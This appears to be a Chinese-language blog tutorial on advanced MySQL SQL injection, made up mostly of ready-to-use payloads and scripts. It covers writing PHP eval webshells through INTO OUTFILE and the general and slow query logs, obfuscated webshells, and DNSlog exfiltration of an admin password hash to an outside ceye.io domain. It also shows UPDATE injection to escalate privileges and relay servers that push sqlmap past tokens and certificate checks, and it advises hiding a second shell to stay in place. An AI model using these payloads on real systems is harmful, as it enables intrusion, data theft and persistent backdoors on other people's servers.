0%

SQL注入进阶专题

SQL注入写入一句话木马

写入webshell的前提条件

  1. secure_file_priv配置需为空
    如果secur_file_priv=NULL,/tmp/,””,
    mysql服务会禁止导入和导出操作,Mysql服务只能再/tmp/目录下导入和导出,mysql服务的导入和导出不做限制

  2. mysql中root用户拥有所有权限,但写入webshell并不需要一定是root,数据库用户只需要有flie权限就可以执行传统的select into outfile操作

  3. 当secure_file_priv文件导出路径与web目录路径重叠,写入的webshell才能被访问

传统方法

联合注入写入

  1. 先爆出可写入的绝对路径
  2. 举个例子,具体情况具体分析
1
1' union select "<?php @eval($_POST['cmd'])?>","sbadmin" into outfile '路径例如/tmp/1.php' -- 

lines terminated by ,lines starting by ,fields terminated by ,COLUMNS terminated by 写入

  1. 看似是四种,实则殊途同归,只有一部分有小区别,当注入为报错或者盲注的时候,联合注入无法使用,就用分隔符写入

  2. exp

1
2
3
4
5
6
7
8
9
10
11
#lines terminated by
1' into outfile '路径' lines terminated by '<?php phpinfo(); ?>' --

#lines starting by 可以理解为从每行的开始位置添加语句
1' into outfile '路径' lines starting by '<?php phpinfo(); ?>' --

#fields terminated by 可以理解为以每个字段的位置添加语句
1' into outfile '路径' fields terminated by '<?php phpinfo(); ?>' --

#COLUMNS terminated by 可以理解为以每个字段的位置添加xx内容
1' into outfile '路径' COLUMNS terminated by '<?php phpinfo(); ?>' --

利用log写入

由于新版本的mysql设置了导出文件的路径,你去爆爆路径,改改配置文件是相当困难的事情,而且也无法通过select into outfile等以上的方式写入webshell,因此我们可以通过修改mysql的log文件来获取webshell

条件

  1. outfile被禁止,或者写入文件被拦截,没写权限 ,有root权限
  2. 可以获取物理路径
  3. 对单引号的转义关闭
  4. 可以进行类似堆叠注入的执行多行sql语句

exp
传统

1
2
3
4
5
show variables like '%general%'; --查看配置
set global general_log=on; --开启general log模式(如果一直开文件会很大的)
set global general_log_file='路径' --设置日志目录为shell地址
select '<?php phpinfo() ?>' --写入shell
set global general_log=off; --关闭general log模式

SQL查询免杀shell(还不太理解)

1
2
3
select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>";

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";

慢查询写shell

为什么要用慢查询写呢?上边说过开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错

1
2
3
4
show variables like '%slow_query_log%';		--查看慢查询信息
set global slow_query_log=1; --启用慢查询日志(默认禁用)
set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php'; --修改日志文件路径
select '<?php @eval($_POST[abc]);?>' or sleep(11); --写shell

慢查询补充

因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。
如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中

1
show global variables like '%long_query_time%'		--查看服务器默认时间值

通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉

拿到shell后上传一个新的shell,删掉原来shell,新shell做隐藏,这样shell可能还能活的时间长些

像这种东西还是比较适合那些集成环境,比如,appserv,xampp…因为权限全部都映射到同一个系统用户上了,如果是win平台,权限通常都比较高

DNSlog注入

DNSlog在Web漏洞利用中已经是老生常谈的问题,简单理解就是在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过这种方式把想获得的数据外带出来。

使用的情况

SQL注入中的盲注
无回显的RCE(我忘记在RCE进阶中补充了)
无回显的SSRF

以下基于mysql来介绍

  1. load_file
    该函数可以用于读取本地文件
    exp
1
2
http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\\\',(SELECT hex(pass) 
FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.3a0.ceye.io\abc'))

用hex编码的目的就是为了减少干扰,且域名有一定的规范,有些特殊的字符是不能带入的

load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里会涉及到一个windows的特性-unc路径

  1. UNC路径

    UNC是一种命名惯例,主要是用于Microsoft Windows上指定和映射的网络驱动器,UNC命名惯例主要是被用在文件服务器(如学校机房可能用ftp传课堂文件作业),或者打印机

一般来说基于windows共享文件的时候就会用到这种格式的网络地址

1
\\3a0.top\about

上面的exp中写的\\就是为了转义成两个\,然后就可以搞定UNC的格式,好好的加以利用了

由于Linux中目前不存在UNC路径这个东西,所以用Linux搞的mysql就不能用这种方法来外带数据

核心思想主要如此,如果还需要更多的内容可以参考博客
https://www.anquanke.com/post/id/98096

SQL里面只有update怎么利用?

一般来说就是以update来修改数据来加以利用

假如有查询语句如下

1
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
  1. 修改 homepage 值为http://baidu.com‘, userlevel=’3
1
UPDATE user SET password='mypass', homepage='http://baidu.com', userlevel='3' WHERE id='$id'

userlevel 为用户级别

  1. 修改 password 值为mypass)’ WHERE username=’admin’#
1
UPDATE user SET password='MD5(mypass)' WHERE username='admin'-- )', homepage='$homepage' WHERE id='$id'
  1. 修改id值为’ OR username=’admin’ 之后SQL语句变为
1
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

以上三种方式都可以实现注入

limit注入

limit的用法

1
2
3
4
5
格式:
limit m,n
--m是记录开始的位置,n是取n条数据
limit 0,1
--从第一条开始,取一条数据

那么我们就可以写出类似

1
select * from admin where id >0 limit 0,1 $id

但是这样子是不够的,注意以下内容只能在mysql<5.6的版本中使用
在确认有limit关键字的存在之后,使用报错注入

  1. procedure analyse函数的使用
1
procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(id,username,password) from users limit 0,1))),1)

后面是之前很典的报错注入payload,需要使用procedure analyse来配合报错注入

  1. order by情况
1
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT (注入点)

union关键字用不了了?我也没想过要用union啊,直接打报错注入

1
?id=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1);
  1. (在2的查询语句的基础上)题外话,时间型盲注
    在这里直接使用sleep来做时间盲注是不行的,需要用BENCHMARK来代替
    exp
1
?id=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x7e,(IF(MID(database(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

中转注入

拉蒙特徐称此为SSRF PLUS版

简要介绍

本意如下

当网站做了token保护或js前端加密的情况下;对于这些站点当手工发现了注入点,但并不适用于用sqlmap等工具跑,可以做中转注入;本地起个Server,然后用sqlmap扫这个server,Server接收到payload后加到表单中提交

其实就是说当我们成功测出了注入点与注入格式之类的,但是用sqlmap等工具无法直接实现突破,那么我们就可以在本地起一个server
这个sever会被sqlmap扫,但是不会有什么注入效果,而是对sqlmap的payload进行加工,将加工完的payload打到目标站上

举个相当浅显的例子
Python+selenium做中转注入
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from flask import Flask
from flask import request
from selenium import webdriver
driver_path = "C:/Users/Administrator/AppData/Local/Programs/Python/Python37/Lib/site-packages/selenium/webdriver/chrome/chromedriver.exe"
chrome = webdriver.Chrome(driver_path)
chrome.get("http://127.0.0.1")#目标注入点
app = Flask(__name__)

def send(payload):
#起到中转payload效果。
chrome.find_element_by_id("username").send_keys(payload) #把payload填到有注入点的地方
chrome.find_element_by_id("password").send_keys("aaaa")
chrome.find_element_by_id("submit").click()
return "plase see flask server!" #随便返回一下不重要

@app.route('/')
def index():
# 接收sqlmap传递过来的payload
payload = request.args.get("payload")
return send(payload)

if __name__ == "__main__":
app.run()

这里观察一下我们起的flask,就能马上明白我们是在做什么(这么一看真的像ssrf plus)

这种方法相当的精彩,因为我当成也面对过这种问题,这样子对工具的使用进行了极大的扩展

除了对payload进行变形之外,还有一个很重要的点:sqlmap不能忽略证书,跑不了https的网站

有了这些关注点,我们接下来对每个细节点进行分类,然后写出各自的poc

原理图

alt text

几种常见类型

Python+selenium做中转注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from flask import Flask
from flask import request
from selenium import webdriver
driver_path = "C:/Users/Administrator/AppData/Local/Programs/Python/Python37/Lib/site-packages/selenium/webdriver/chrome/chromedriver.exe"
chrome = webdriver.Chrome(driver_path)
chrome.get("http://127.0.0.1")#目标注入点
app = Flask(__name__)

def send(payload):
#起到中转payload效果。
chrome.find_element_by_id("username").send_keys(payload) #把payload填到有注入点的地方
chrome.find_element_by_id("password").send_keys("aaaa")
chrome.find_element_by_id("submit").click()
return "plase see flask server!" #随便返回一下不重要

@app.route('/')
def index():
# 接收sqlmap传递过来的payload
payload = request.args.get("payload")
return send(payload)

if __name__ == "__main__":
app.run()

用PHP做中转注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
//先开启php.ini 中的extension=php_curl.dll
set_time_limit(1);
$curl = curl_init();//初始化curl
$id = $_GET['id'];
//替换id空格和=
$id = str_replace(" ","%20",$id);
$id = str_replace("=","%3D",$id);
$url = "http://xxx.com/aaa.php";
// 设置目标URL
curl_setopt($curl, CURLOPT_URL, $url);
// 设置header
curl_setopt($curl, CURLOPT_HEADER, 0);
// 设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上。
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 0);
// 运行cURL,请求网页
$data = curl_exec($curl);
// 关闭URL请求
curl_close($curl);
?>

sqlmap不能忽略证书,跑不了https的网站

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
$url = "https://x.x.x.x/aaa.php";
$sql = $_GET[arg];
$s = urlencode($sql);
$params = "email=$s&password=aa";

//写出到文件分析.
$fp=fopen('result.txt','a');
fwrite($fp,'Params:'.$params."\n");
fclose($fp);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书和hosts
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0');
curl_setopt($ch, CURLOPT_TIMEOUT, 15);

curl_setopt($ch, CURLOPT_POST, 1); // post 提交方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);

$output = curl_exec($ch);
curl_close($ch);
$a = strlen($output);

if($a==2846){
echo "1";
}else{
echo "2";
}

几个实战案例可以加深理解

https://www.freebuf.com/vuls/244016.html

https://www.freebuf.com/articles/web/281451.html